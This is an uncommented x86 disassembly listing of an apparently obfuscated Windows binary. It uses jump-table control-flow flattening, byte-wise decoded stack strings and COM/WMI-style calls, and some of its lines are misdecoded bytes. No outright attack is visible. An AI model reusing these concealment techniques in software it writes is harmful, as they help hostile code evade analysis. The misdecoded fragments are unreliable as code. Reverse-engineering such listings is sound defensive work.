mov dword [esp + 8], 0
call eax
sub esp, 0x18
mov eax, dword [esp + 0x238]
mov ecx, dword [esp + 0x23c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x2b0], 1
mov eax, dword [esp + 0x2b4]
mov ecx, dword [esp + 0x2b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1d8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov edi, eax
mov eax, dword [esp + 0x1d8]
mov ecx, edi
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call case.0x42bc23.47
mov esi, eax
mov dword [esp + 0x204], esi
add esi, 0x6fbbeb9d
add esi, 1
sub esi, 0x6fbbeb9d
mov dword [esp], esi
call fcn.0040c990
mov ebx, eax
mov eax, dword [esp + 0xcc]
mov dword [eax], ebx
mov edx, dword [esp + 0x1d8]
shl edi, 1
mov eax, edx
add eax, edi
mov dword [esp + 0x1f8], eax
mov edi, ebx
add edi, esi
mov eax, edi
add eax, 0xffffffff
cmp ebx, eax
jae 0x4312e1
mov esi, dword [esp + 0x1f8]
test esi, esi
sete al
mov ecx, edx
sub ecx, esi
setb cl
or al, cl
test al, 1
jne 0x4312b3
jmp 0x4312e1
mov ax, word [edx]
cmp ax, 0
je 0x4312e1
movzx eax, ax
add edx, 2
mov ecx, ebx
xor ecx, 0xffffffff
add ecx, edi
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov esi, edx
call fcn.00437ba0
mov edx, esi
add ebx, eax
jmp 0x43128f
mov byte [ebx], 0
mov al, byte [esp + 0x6c]
mov byte [esp + 0x1a4], al
mov byte [esp + 0x70], 0xe3
mov byte [esp + 0x71], 0xf0
mov byte [esp + 0x72], 0xfc
mov byte [esp + 0x73], 0xeb
mov byte [esp + 0x74], 0xff
mov byte [esp + 0x75], 0x86
mov byte [esp + 0x76], 0xf5
mov byte [esp + 0x77], 3
mov eax, 8
mov byte [esp + eax + 0x70], 0
add eax, 1
cmp eax, 0xc
jne 0x43131c
mov dword [esp + 0xb0], 0
mov esi, dword [esp + 0xcc]
mov eax, dword [esp + 0xb0]
cmp eax, 0xc
jae 0x431382
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb0]
movzx ecx, byte [esp + ecx + 0x70]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437df0
mov ecx, dword [esp + 0xb0]
mov byte [esp + ecx + 0x70], al
mov eax, dword [esp + 0xb0]
inc eax
mov dword [esp + 0xb0], eax
jmp 0x43133b
call fcn.0040e4a0
call fcn.0040e4a0
mov eax, dword [esi]
lea ecx, [esp + 0x70]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00420870
mov edx, dword [esi]
mov esi, edx
sub esi, eax
mov edi, dword [esp + 0x204]
lea ecx, [edi + esi]
lea esi, [edi + esi + 1]
seta bl
lea edi, [eax + ecx + 1]
sub edi, edx
seta bh
and bl, bh
test bl, 1
jne 0x431419
mov ecx, esi
shr ecx, 2
mov ebx, eax
mov edi, edx
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov ecx, esi
and ecx, 0xfffffffc
add edx, ecx
add eax, ecx
mov ecx, esi
shr ecx, 1
and ecx, 1
mov ebx, eax
mov edi, edx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, esi
and ecx, 2
add edx, ecx
add eax, ecx
and esi, 1
mov ecx, esi
add esi, 0xffffffff
cmp ecx, 0
je 0x43143b
mov ecx, eax
add ecx, 1
mov al, byte [eax]
mov edi, edx
add edi, 1
mov byte [edx], al
mov edx, edi
mov eax, ecx
jmp 0x4313fb
add edx, ecx
add eax, ecx
cmp esi, 0
je 0x431439
add esi, 0xffffffff
mov ecx, eax
add ecx, 0xffffffff
mov al, byte [eax]
mov edi, edx
add edi, 0xffffffff
mov byte [edx], al
mov edx, edi
mov eax, ecx
jmp 0x43141d
jmp 0x43143d
jmp 0x43143d
mov dword [esp + 0x3a0], 0
mov eax, dword [esp + 0x3a4]
mov ecx, dword [esp + 0x3a0]
mov eax, dword [eax + ecx*4]
jmp eax
inc esp
sub byte [esi + 0x24848bee], cl
dec eax
add al, byte [eax]
add byte [ebx + 0x24c248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [ecx]
lea edx, [esp + 0x184]
mov dword [esp + 0x20], edx
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call ecx
sub esp, 0x24
not eax
shr eax, 0x1f
mov dword [esp + 0x400], eax
mov eax, dword [esp + 0x404]
mov ecx, dword [esp + 0x400]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x7c]
mov byte [esp + 0x190], al
mov byte [esp + 0x80], 0x56
mov byte [esp + 0x81], 0xf9
mov byte [esp + 0x82], 0xa5
mov byte [esp + 0x83], 0xf7
mov byte [esp + 0x84], 0xa7
mov byte [esp + 0x85], 0xf5
mov byte [esp + 0x86], 0x5e
mov byte [esp + 0x87], 0xf3
mov byte [esp + 0x88], 0x54
mov byte [esp + 0x89], 0xf1
mov byte [esp + 0x8a], 0x91
mov byte [esp + 0x8b], 0xcf
mov byte [esp + 0x8c], 0x95
mov byte [esp + 0x8d], 0xcd
mov byte [esp + 0x8e], 0x9f
mov byte [esp + 0x8f], 0xcb
mov byte [esp + 0x90], 0x62
mov byte [esp + 0x91], 0xc9
mov byte [esp + 0x92], 0x88
mov byte [esp + 0x93], 0xc7
mov byte [esp + 0x94], 0xc4
mov byte [esp + 0x95], 0xc5
mov eax, 0x16
mov byte [esp + eax + 0x80], 0
add eax, 1
cmp eax, 0x19
jne 0x43159a
mov dword [esp + 0x9c], 0
mov eax, dword [esp + 0x9c]
cmp eax, 0x19
jae 0x431602
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0x9c]
movzx ecx, byte [esp + ecx + 0x80]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437d00
mov ecx, dword [esp + 0x9c]
mov byte [esp + ecx + 0x80], al
mov eax, dword [esp + 0x9c]
inc eax
mov dword [esp + 0x9c], eax
jmp 0x4315b5
lea eax, [esp + 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov ebx, eax
mov dword [esp + 0x438], 0
mov eax, dword [esp + 0x43c]
mov ecx, dword [esp + 0x438]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x398]
mov ecx, dword [esp + 0x39c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0xd0]
mov edi, dword [esp + 0xdc]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x360], 0
mov eax, dword [esp + 0x364]
mov ecx, dword [esp + 0x360]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], esi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
sub esp, 4
mov dword [esp], edi
call esi
sub esp, 4
mov eax, dword [esp + 0x2c0]
mov ecx, dword [esp + 0x2c4]
mov eax, dword [ecx + eax*4]
jmp eax
invalid
add edx, dword [esi + ebp*4]
inc edx
mov eax, dword [esp + 0x230]
mov ecx, dword [esp + 0x234]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x308], 0
mov eax, dword [esp + 0x30c]
mov ecx, dword [esp + 0x308]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0xd0]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x2d8], 1
mov eax, dword [esp + 0x2dc]
mov ecx, dword [esp + 0x2d8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
movsx ecx, word [esp + 0x458]
mov edx, 0x88888889
mov eax, ecx
imul edx
add edx, ecx
mov eax, edx
shr eax, 0x1f
shr edx, 5
add edx, eax
mov word [esi], dx
mov dword [esp + 0x340], 1
mov eax, dword [esp + 0x344]
mov ecx, dword [esp + 0x340]
mov eax, dword [eax + ecx*4]
jmp eax
add ecx, 0xc
mov edx, dword [esp + 0x408]
mov esi, dword [esp + 0x40c]
mov edx, dword [esi + edx*4]
jmp edx
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0x188]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x280]
mov ecx, dword [esp + 0x284]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x390], 1
mov eax, dword [esp + 0x394]
mov ecx, dword [esp + 0x390]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x174]
mov byte [esp + 0x194], al
mov byte [esp + 0x178], 0xd5
mov byte [esp + 0x179], 0x3f
mov byte [esp + 0x17a], 0xed
mov byte [esp + 0x17b], 0x31
mov byte [esp + 0x17c], 0xec
mov byte [esp + 0x17d], 0x33
mov byte [esp + 0x17e], 0x32
mov byte [esp + 0x17f], 0x35
mov eax, 8
mov byte [esp + eax + 0x178], 0
add eax, 1
cmp eax, 0xc
jne 0x431825
mov dword [esp + 0xa4], 0
mov eax, dword [esp + 0xa4]
cmp eax, 0xc
jae 0x43188d
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa4]
movzx ecx, byte [esp + ecx + 0x178]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437d30
mov ecx, dword [esp + 0xa4]
mov byte [esp + ecx + 0x178], al
mov eax, dword [esp + 0xa4]
inc eax
mov dword [esp + 0xa4], eax
jmp 0x431840
lea eax, [esp + 0x178]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 4
mov esi, eax
mov al, byte [esp + 0x124]
mov byte [esp + 0x198], al
mov byte [esp + 0x128], 0xf7
mov byte [esp + 0x129], 0x19
mov byte [esp + 0x12a], 0xeb
mov byte [esp + 0x12b], 0x17
mov byte [esp + 0x12c], 0xe0
mov byte [esp + 0x12d], 0x15
mov byte [esp + 0x12e], 0xef
mov byte [esp + 0x12f], 0x13
mov byte [esp + 0x130], 0xef
mov byte [esp + 0x131], 0x11
mov byte [esp + 0x132], 0xe2
mov byte [esp + 0x133], 0xf
mov byte [esp + 0x134], 0x2c
mov byte [esp + 0x135], 0xd
mov byte [esp + 0x136], 0xdc
mov byte [esp + 0x137], 0xb
mov byte [esp + 0x138], 0x28
mov byte [esp + 0x139], 9
mov byte [esp + 0x13a], 0xfc
mov byte [esp + 0x13b], 7
mov byte [esp + 0x13c], 0xea
mov byte [esp + 0x13d], 5
mov byte [esp + 0x13e], 0xf1
mov byte [esp + 0x13f], 3
mov byte [esp + 0x140], 0xf5
mov byte [esp + 0x141], 1
mov byte [esp + 0x142], 0x1e
mov byte [esp + 0x143], 0x3f
mov byte [esp + 0x144], 0xd7
mov byte [esp + 0x145], 0x3d
mov byte [esp + 0x146], 0xa3
mov byte [esp + 0x147], 0x3b
mov byte [esp + 0x148], 0xaa
mov byte [esp + 0x149], 0x39
mov byte [esp + 0x14a], 0xf9
mov byte [esp + 0x14b], 0x37
mov byte [esp + 0x14c], 0xfa
mov byte [esp + 0x14d], 0x35
mov byte [esp + 0x14e], 0xd1
mov byte [esp + 0x14f], 0x33
mov byte [esp + 0x150], 0xc3
mov byte [esp + 0x151], 0x31
mov byte [esp + 0x152], 0xbe
mov byte [esp + 0x153], 0x2f
mov byte [esp + 0x154], 0xb1
mov byte [esp + 0x155], 0x2d
mov byte [esp + 0x156], 0xa4
mov byte [esp + 0x157], 0x2b
mov byte [esp + 0x158], 0xc9
mov byte [esp + 0x159], 0x29
mov byte [esp + 0x15a], 0xaa
mov byte [esp + 0x15b], 0x27
mov byte [esp + 0x15c], 0xbd
mov byte [esp + 0x15d], 0x25
mov byte [esp + 0x15e], 0xb0
mov byte [esp + 0x15f], 0x23
mov byte [esp + 0x160], 0xbb
mov byte [esp + 0x161], 0x21
mov byte [esp + 0x162], 0x31
mov byte [esp + 0x163], 0xdf
mov byte [esp + 0x164], 0x55
mov byte [esp + 0x165], 0xdd
mov byte [esp + 0x166], 0x55
mov byte [esp + 0x167], 0xdb
mov byte [esp + 0x168], 0x54
mov byte [esp + 0x169], 0xd9
mov byte [esp + 0x16a], 0x4b
mov byte [esp + 0x16b], 0xd7
mov byte [esp + 0x16c], 0x41
mov byte [esp + 0x16d], 0xd5
mov byte [esp + 0x16e], 0xd2
mov byte [esp + 0x16f], 0xd3
mov eax, 0x48
mov byte [esp + eax + 0x128], 0
add eax, 1
cmp eax, 0x4b
jne 0x431af5
mov dword [esp + 0xa8], 0
mov eax, dword [esp + 0xa8]
cmp eax, 0x4b
jae 0x431b5d
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xa8]
movzx ecx, byte [esp + ecx + 0x128]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437d80
mov ecx, dword [esp + 0xa8]
mov byte [esp + ecx + 0x128], al
mov eax, dword [esp + 0xa8]
inc eax
mov dword [esp + 0xa8], eax
jmp 0x431b10
lea eax, [esp + 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov edi, eax
mov eax, dword [esp + 0x184]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x50]
lea edx, [esp + 0x120]
mov dword [esp + 0x14], edx
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call ecx
sub esp, 0x18
not eax
shr eax, 0x1f
mov dword [esp + 0x3c0], eax
mov eax, dword [esp + 0x3c4]
mov ecx, dword [esp + 0x3c0]
mov eax, dword [eax + ecx*4]
jmp eax
inc eax
push ecx
invalid
call fcn.0040e4a0
mov dword [esp + 0x330], 1
mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
sub esp, 0x20
xor ebx, ebx
test eax, eax
setns byte [esp + 0x7f]
mov eax, dword [esp + 0x3e0]
mov ecx, dword [esp + 0x3e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1d8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov ebx, eax
mov eax, dword [esp + 0x1d8]
mov ecx, ebx
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call case.0x42bc23.47
mov edi, eax
mov dword [esp + 0x200], edi
add edi, 1
mov dword [esp], edi
call fcn.0040c990
mov ecx, dword [esp + 0xcc]
mov dword [ecx], eax
mov edx, dword [esp + 0x1d8]
shl ebx, 1
mov esi, edx
add esi, ebx
mov ebx, eax
add ebx, edi
mov ecx, ebx
add ecx, 0xffffffff
cmp eax, ecx
jae 0x431e7d
test esi, esi
sete cl
mov edi, edx
mov edx, edi
sub edx, esi
setb dl
or cl, dl
test cl, 1
jne 0x431e3f
jmp 0x431e7d
mov cx, word [edi]
cmp cx, 0
je 0x431e7d
movzx ecx, cx
add edi, 2
mov dword [esp + 0x1fc], edi
mov edx, eax
xor edx, 0xffffffff
add edx, ebx
mov dword [esp], eax
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov edi, eax
call fcn.00437ba0
mov edx, dword [esp + 0x1fc]
mov ecx, eax
mov eax, edi
add eax, ecx
jmp 0x431e1f
mov byte [eax], 0
mov al, byte [esp + 0x6c]
mov byte [esp + 0x1a0], al
mov byte [esp + 0x70], 0xe3
mov byte [esp + 0x71], 0xf0
mov byte [esp + 0x72], 0xfc
mov byte [esp + 0x73], 0xeb
mov byte [esp + 0x74], 0xff
mov byte [esp + 0x75], 0x86
mov byte [esp + 0x76], 0xf5
mov byte [esp + 0x77], 3
mov eax, 8
mov byte [esp + eax + 0x70], 0
add eax, 1
cmp eax, 0xc
jne 0x431eb8
mov dword [esp + 0xb4], 0
mov esi, dword [esp + 0xcc]
mov eax, dword [esp + 0xb4]
cmp eax, 0xc
jae 0x431f1e
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb4]
movzx ecx, byte [esp + ecx + 0x70]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437df0
mov ecx, dword [esp + 0xb4]
mov byte [esp + ecx + 0x70], al
mov eax, dword [esp + 0xb4]
inc eax
mov dword [esp + 0xb4], eax
jmp 0x431ed7
call fcn.0040e4a0
call fcn.0040e4a0
mov eax, dword [esi]
lea ecx, [esp + 0x70]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00420870
mov edx, dword [esi]
mov esi, edx
sub esi, eax
mov edi, dword [esp + 0x200]
lea ecx, [edi + esi]
lea esi, [edi + esi + 1]
seta bl
lea edi, [eax + ecx + 1]
sub edi, edx
seta bh
and bl, bh
test bl, 1
jne 0x431fb5
mov ecx, esi
shr ecx, 2
mov edi, edx
mov ebx, eax
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov ecx, esi
and ecx, 0xfffffffc
add edx, ecx
add eax, ecx
mov ecx, esi
shr ecx, 1
and ecx, 1
mov edi, edx
mov ebx, eax
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, esi
and ecx, 2
add edx, ecx
add eax, ecx
and esi, 1
mov ecx, esi
add esi, 0xffffffff
cmp ecx, 0
je 0x431fd7
mov ecx, eax
add ecx, 1
mov al, byte [eax]
mov edi, edx
add edi, 1
mov byte [edx], al
mov edx, edi
mov eax, ecx
jmp 0x431f97
add edx, ecx
add eax, ecx
cmp esi, 0
je 0x431fd5
add esi, 0xffffffff
mov ecx, eax
add ecx, 0xffffffff
mov al, byte [eax]
mov edi, edx
add edi, 0xffffffff
mov byte [edx], al
mov edx, edi
mov eax, ecx
jmp 0x431fb9
jmp 0x431fd9
jmp 0x431fd9
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x25c]
mov eax, dword [ecx + eax*4]
jmp eax
add eax, 0x4a1cc646
xor dh, byte [ebx + 0x6f]
mov eax, dword [esp + 0x218]
mov ecx, dword [esp + 0x21c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x120]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x2d0], 0
mov eax, dword [esp + 0x2d4]
mov ecx, dword [esp + 0x2d0]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x368], 0
mov eax, dword [esp + 0x36c]
mov ecx, dword [esp + 0x368]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0xd0]
jmp eax
sbb byte [ecx], bl
push ds
dec ebx
movsx ecx, word [esp + 0x458]
mov edx, 0x88888889
mov eax, ecx
imul edx
add edx, ecx
mov eax, edx
shr eax, 0x1f
shr edx, 5
add edx, eax
mov word [esi], dx
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x244]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x3d8], 0
mov eax, dword [esp + 0x3dc]
mov ecx, dword [esp + 0x3d8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x428], 0
mov eax, dword [esp + 0x42c]
mov ecx, dword [esp + 0x428]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2c8]
mov ecx, dword [esp + 0x2cc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
lea eax, [esp + 0x1e0]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x2e8], 0
mov eax, dword [esp + 0x2ec]
mov ecx, dword [esp + 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x1bc], 0
mov eax, dword [esp + 0x120]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edx, [esp + 0x1bc]
mov dword [esp + 0x10], edx
lea edx, [esp + 0x24]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
sub esp, 0x14
test eax, eax
setns cl
sub eax, 1
setne al
mov edx, dword [esp + 0x1bc]
test edx, edx
setne dl
and al, dl
and al, cl
movzx eax, al
mov dword [esp + 0x3b8], eax
mov eax, dword [esp + 0x3bc]
mov ecx, dword [esp + 0x3b8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x188]
mov ecx, dword [eax]
mov edx, dword [esp + 0x410]
mov esi, dword [esp + 0x414]
mov edx, dword [esi + edx*4]
jmp edx
mov eax, dword [esp + 0x260]
mov ecx, dword [esp + 0x264]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1e8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov ebx, eax
mov eax, dword [esp + 0x1e8]
mov ecx, ebx
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call case.0x42bc23.47
mov esi, eax
add esi, 1
mov dword [esp], esi
call fcn.0040c990
mov edi, eax
mov eax, dword [esp + 0x1e8]
shl ebx, 1
mov dword [esp + 0xd8], eax
add eax, ebx
mov dword [esp + 0x1f0], eax
mov ebx, edi
add ebx, esi
mov esi, edi
mov eax, ebx
add eax, 0xffffffff
cmp esi, eax
jae 0x4322a6
mov edx, dword [esp + 0x1f0]
test edx, edx
sete al
mov ecx, dword [esp + 0xd8]
sub ecx, edx
setb cl
or al, cl
test al, 1
jne 0x432270
jmp 0x4322a6
mov eax, dword [esp + 0xd8]
mov ax, word [eax]
cmp ax, 0
je 0x4322a6
movzx eax, ax
add dword [esp + 0xd8], 2
mov ecx, esi
xor ecx, 0xffffffff
add ecx, ebx
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00437ba0
add esi, eax
jmp 0x432247
mov byte [esi], 0
mov eax, edi
add eax, 6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x214]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, edi
add eax, 4
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, edi
add eax, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
inc esp
and al, 8
add al, byte [eax]
add byte [eax], al
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, edi
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, edi
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00437c70
mov byte [eax], 0
mov dword [esp + 0x318], 0
mov eax, dword [esp + 0x31c]
mov ecx, dword [esp + 0x318]
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, ecx
and esi, esp
pushfd
adc bh, byte [0x24448a88]
jl 0x432315
test byte [esp + ecx*4], ah
add dword [eax], eax
add dh, al
test byte [eax + eax*4], ah
add byte [eax], al
add byte [esi - 0x3a], dl
test byte [ecx + eax*4], ah
add byte [eax], al
add cl, bh
mov byte [esp + 0x82], 0xa5
mov byte [esp + 0x83], 0xf7
mov byte [esp + 0x84], 0xa7
mov byte [esp + 0x85], 0xf5
mov byte [esp + 0x86], 0x5e
mov byte [esp + 0x87], 0xf3
mov byte [esp + 0x88], 0x54
mov byte [esp + 0x89], 0xf1
mov byte [esp + 0x8a], 0x91
mov byte [esp + 0x8b], 0xcf
mov byte [esp + 0x8c], 0x95
mov byte [esp + 0x8d], 0xcd
mov byte [esp + 0x8e], 0x9f
mov byte [esp + 0x8f], 0xcb
mov byte [esp + 0x90], 0x62
mov byte [esp + 0x91], 0xc9
mov byte [esp + 0x92], 0x88
mov byte [esp + 0x93], 0xc7
mov byte [esp + 0x94], 0xc4
mov byte [esp + 0x95], 0xc5
mov eax, 0x16
mov byte [esp + eax + 0x80], 0
add eax, 1
cmp eax, 0x19
jne 0x432448
mov dword [esp + 0xa0], 0
mov eax, dword [esp + 0xa0]
cmp eax, 0x19
jae 0x4324b0
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa0]
movzx ecx, byte [esp + ecx + 0x80]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437d00
mov ecx, dword [esp + 0xa0]
mov byte [esp + ecx + 0x80], al
mov eax, dword [esp + 0xa0]
inc eax
mov dword [esp + 0xa0], eax
jmp 0x432463
lea eax, [esp + 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov eax, dword [esp + 0x278]
mov ecx, dword [esp + 0x27c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x3d0], 0
mov eax, dword [esp + 0x3d4]
mov ecx, dword [esp + 0x3d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov esi, dword [esp + 0x184]
mov edi, dword [esi]
add edi, 8
mov eax, dword [esp + 0x2b8]
mov ecx, dword [esp + 0x2bc]
mov eax, dword [ecx + eax*4]
jmp eax
lea eax, [esp + 0x1d0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x1c0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0x24]
mov al, byte [esp + 0x48]
mov byte [esp + 0x1ac], al
mov byte [esp + 0x4c], 4
mov byte [esp + 0x4d], 0xf1
mov byte [esp + 0x4e], 0x65
mov byte [esp + 0x4f], 0xf3
mov byte [esp + 0x50], 0xf
mov byte [esp + 0x51], 0xed
mov byte [esp + 0x52], 0xf
mov byte [esp + 0x53], 0xef
mov byte [esp + 0x54], 0x7c
mov byte [esp + 0x55], 0xe9
mov byte [esp + 0x56], 0x16
mov byte [esp + 0x57], 0xeb
mov byte [esp + 0x58], 5
mov byte [esp + 0x59], 0xe5
mov byte [esp + 0x5a], 0x6a
mov byte [esp + 0x5b], 0xe7
mov byte [esp + 0x5c], 0x7d
mov byte [esp + 0x5d], 0xe1
mov byte [esp + 0x5e], 0xe
mov byte [esp + 0x5f], 0xe3
mov byte [esp + 0x60], 5
mov byte [esp + 0x61], 0x9d
mov byte [esp + 0x62], 0xb
mov byte [esp + 0x63], 0x9f
mov byte [esp + 0x64], 5
mov byte [esp + 0x65], 0x99
mov byte [esp + 0x66], 0x9a
mov byte [esp + 0x67], 0x9b
mov eax, 0x1c
mov byte [esp + eax + 0x4c], 0
add eax, 1
cmp eax, 0x1f
jne 0x4325df
mov dword [esp + 0xb8], 0
mov eax, dword [esp + 0xb8]
cmp eax, 0x1f
jae 0x43263e
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xb8]
movzx ecx, byte [esp + ecx + 0x4c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437e30
mov ecx, dword [esp + 0xb8]
mov byte [esp + ecx + 0x4c], al
mov eax, dword [esp + 0xb8]
inc eax
mov dword [esp + 0xb8], eax
jmp 0x4325f7
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1c0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x4c]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x1c0]
sub cx, 8
sete cl
and al, cl
mov dword [esp + 0x388], 0
mov ecx, dword [esp + 0x38c]
mov edx, dword [esp + 0x388]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x1c8]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov ebx, eax
mov eax, dword [esp + 0x1c8]
mov ecx, ebx
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call case.0x42bc23.47
mov esi, eax
add esi, 1
mov dword [esp], esi
call fcn.0040c990
mov edi, eax
mov eax, dword [esp + 0x1c8]
shl ebx, 1
mov dword [esp + 0xd4], eax
add eax, ebx
mov dword [esp + 0x1f4], eax
mov ebx, edi
add ebx, esi
mov esi, edi
mov eax, ebx
add eax, 0xffffffff
cmp esi, eax
